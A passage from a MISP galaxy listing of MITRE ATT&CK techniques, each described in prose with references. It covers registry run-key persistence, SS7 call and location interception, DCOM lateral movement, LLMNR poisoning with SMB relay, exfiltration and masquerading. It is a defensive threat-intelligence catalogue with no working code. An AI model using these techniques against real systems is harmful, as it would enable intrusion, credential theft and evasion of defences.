The following Registry keys can control automatic startup of services during boot: * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code> *

<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</code> subkeys can automatically launch programs.

Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run when any user logs on.

By default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060"*

View relationships graph

Registry Run Keys / Startup Folder - T1060 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 3627. Table References

Links
http://msdn.microsoft.com/en-us/library/aa376977
https://attack.mitre.org/techniques/T1060
https://capec.mitre.org/data/definitions/270.html
https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key
https://technet.microsoft.com/en-us/sysinternals/bb963902

Exploit SS7 to Redirect Phone Calls/SMS - T1449

An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker’s control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449"*

Table 3628. Table References

Links
http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf
https://attack.mitre.org/techniques/T1449
https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf[https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf]
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html
https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf
https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/
https://www.youtube.com/watch?v=q0n5ySqbfdI

Assess security posture of physical locations - T1302

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1302).

Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess security posture of physical locations - T1302"*

Table 3629. Table References

Links
https://attack.mitre.org/techniques/T1302

Determine domain and IP address space - T1250

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1250).

Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine domain and IP address space - T1250"*

Table 3630. Table References

Links
https://attack.mitre.org/techniques/T1250

Research visibility gap of security vendors - T1290

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1290).

If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-attack-pattern="Research visibility gap of security vendors - T1290"*

Table 3631. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/techniques/T1290

Exploit SS7 to Track Device Location - T1450

An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport)

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit SS7 to Track Device Location - T1450"*

Table 3632. Table References

Links
http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf
https://attack.mitre.org/techniques/T1450
https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf[https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf]
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html
https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf
https://www.youtube.com/watch?v=q0n5ySqbfdI

Access Sensitive Data in Device Logs - T1413

On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.

The tag is: *misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413"*

Table 3633. Table References

Links
https://attack.mitre.org/techniques/T1413
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html

Stolen Developer Credentials or Signing Keys - T1441

An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer's identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).

Detection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Stolen Developer Credentials or Signing Keys - T1441"*

View relationships graph

Stolen Developer Credentials or Signing Keys - T1441 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Table 3634. Table References

Links
https://attack.mitre.org/techniques/T1441

Component Object Model and Distributed COM - T1175

This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).

Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement.

COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.

Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175"*

Table 3635. Table References

Links
https://attack.mitre.org/techniques/T1175
https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/

https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html

Develop social network persona digital footprint - T1342

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1342).

Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)

The tag is: *misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342"*

Table 3636. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1342
https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Assess vulnerability of 3rd party vendors - T1298

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1298).

Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess vulnerability of 3rd party vendors - T1298"*

Table 3637. Table References

Links
https://attack.mitre.org/techniques/T1298

Manipulate App Store Rankings or Ratings - T1452

An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).

The tag is: *misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452"*

Table 3638. Table References

Links
https://attack.mitre.org/techniques/T1452

Acquire OSINT data sets and information - T1247

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1247).

Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247"*

View relationships graph

Acquire OSINT data sets and information - T1247 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266" with estimative-language:likelihood-probability="almost-certain"

Table 3639. Table References

Links
https://attack.mitre.org/techniques/T1247

Acquire OSINT data sets and information - T1266

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1266).

Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266"*

View relationships graph

Acquire OSINT data sets and information - T1266 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247" with estimative-language:likelihood-probability="almost-certain"

Table 3640. Table References

Links
https://attack.mitre.org/techniques/T1266

Acquire OSINT data sets and information - T1277

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1277).

Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277"*

View relationships graph

Acquire OSINT data sets and information - T1277 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247" with estimative-language:likelihood-probability="almost-certain"

Table 3641. Table References

Links
https://attack.mitre.org/techniques/T1277

Assess opportunities created by business deals - T1299

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1299).

During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess opportunities created by business deals - T1299"*

Table 3642. Table References

Links
https://attack.mitre.org/techniques/T1299

SSL certificate acquisition for trust breaking - T1338

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1338).

Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)

The tag is: *misp-galaxy:mitre-attack-pattern="SSL certificate acquisition for trust breaking - T1338"*

Table 3643. Table References

Links
https://attack.mitre.org/techniques/T1338

Identify resources required to build capabilities - T1348

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1348).

As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify resources required to build capabilities - T1348"*

Table 3644. Table References

Links
https://attack.mitre.org/techniques/T1348

Hardware or software supply chain implant - T1365

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1365).

During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)

The tag is: *misp-galaxy:mitre-attack-pattern="Hardware or software supply chain implant - T1365"*

Table 3645. Table References

Links
https://attack.mitre.org/techniques/T1365

Test malware in various execution environments - T1357

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1357).

Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([Ubuntu](http://www.ubuntu.com) vs [OS X](http://www.apple.com/osx)), and versions ([Windows](http://windows.microsoft.com) 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)

The tag is: *misp-galaxy:mitre-attack-pattern="Test malware in various execution environments - T1357"*

Table 3646. Table References

Links
https://attack.mitre.org/techniques/T1357

Conduct social engineering or HUMINT operation - T1376

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics

for replacement techniques.

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct social engineering or HUMINT operation - T1376"*

Table 3647. Table References

Links
https://attack.mitre.org/techniques/T1376

Spear phishing messages with malicious attachments - T1367

This technique has been deprecated. Please use [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).

Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Spear phishing messages with malicious attachments - T1367"*

Table 3648. Table References

Links
https://attack.mitre.org/techniques/T1367

Authorized user performs requested cyber action - T1386

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)

The tag is: *misp-galaxy:mitre-attack-pattern="Authorized user performs requested cyber action - T1386"*

Table 3649. Table References

Links

https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1386

Spear phishing messages with text only - T1368

This technique has been deprecated. Please use [Phishing](https://attack.mitre.org/techniques/T1566) where appropriate.

Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)

The tag is: *misp-galaxy:mitre-attack-pattern="Spear phishing messages with text only - T1368"*

Table 3650. Table References

Links
https://attack.mitre.org/techniques/T1368

Spear phishing messages with malicious links - T1369

This technique has been deprecated. Please use [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).

Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)

The tag is: *misp-galaxy:mitre-attack-pattern="Spear phishing messages with malicious links - T1369"*

Table 3651. Table References

Links
https://attack.mitre.org/techniques/T1369

Unauthorized user introduces compromise delivery mechanism - T1387

This technique has been deprecated. Please use [Hardware Additions](https://attack.mitre.org/techniques/T1200) where appropriate.

If an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)

The tag is: *misp-galaxy:mitre-attack-pattern="Unauthorized user introduces compromise delivery mechanism - T1387"*

Table 3652. Table References

Links
https://attack.mitre.org/techniques/T1387

Modify OS Kernel or Boot Partition - T1398

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.

Many Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.

If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398"*

Table 3653. Table References

Links
https://attack.mitre.org/techniques/T1398
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://www.apple.com/business/docs/iOS_Security_Guide.pdf
https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered

Exploit via Charging Station or PC - T1458

If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking).

Previous demonstrations have included:

- Injecting malicious applications into iOS devices(Citation: Lau-Mactans).
- Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB).

- Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal).

Products from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458"*

Table 3654. Table References

Links
http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/
https://attack.mitre.org/techniques/T1458
https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html
https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf
https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html
https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/
https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html

Deliver Malicious App via Other Means - T1476

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.

Delivery methods for the malicious application include:

- [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) - Including the mobile app package as an attachment to an email message.
- [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.
- Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)

Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)

The tag is: *misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476"*

Table 3655. Table References

Links
https://attack.mitre.org/techniques/T1476
https://blog.trendmicro.com/trendlabs-security-intelligence/flappy-bird-and-third-party-app-stores/
https://blog.trendmicro.com/trendlabs-security-intelligence/user-beware-rooting-malware-found-in-3rd-party-app-stores/
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html
https://www.ibtimes.co.uk/danger-lurks-third-party-android-app-stores-1544861
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/

Upload, install, and configure software/tools - T1362

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1362).

An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)

The tag is: *misp-galaxy:mitre-attack-pattern="Upload, install, and configure software/tools - T1362"*

Table 3656. Table References

Links
https://attack.mitre.org/techniques/T1362

LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001

By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials.

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)

The tag is: *misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001"*

Table 3657. Table References

Links
https://attack.mitre.org/techniques/T1557/001
https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
https://github.com/Kevin-Robertson/Conveigh
https://github.com/SpiderLabs/Responder
https://github.com/nomex/nbnspoof
https://technet.microsoft.com/library/cc958811.aspx
https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning

Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003"*

Table 3658. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1048/003

Match Legitimate Name or Location - T1036.005

Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.

Adversaries may also use the same icon of the file they are trying to mimic.

The tag is: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"*

Table 3659. Table References

Links
http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
https://attack.mitre.org/techniques/T1036/005
https://capec.mitre.org/data/definitions/177.html
https://docs.docker.com/engine/reference/commandline/images/
https://twitter.com/ItsReallyNick/status/1055321652777619457

Disable or Modify System Firewall - T1562.004

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.

Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.

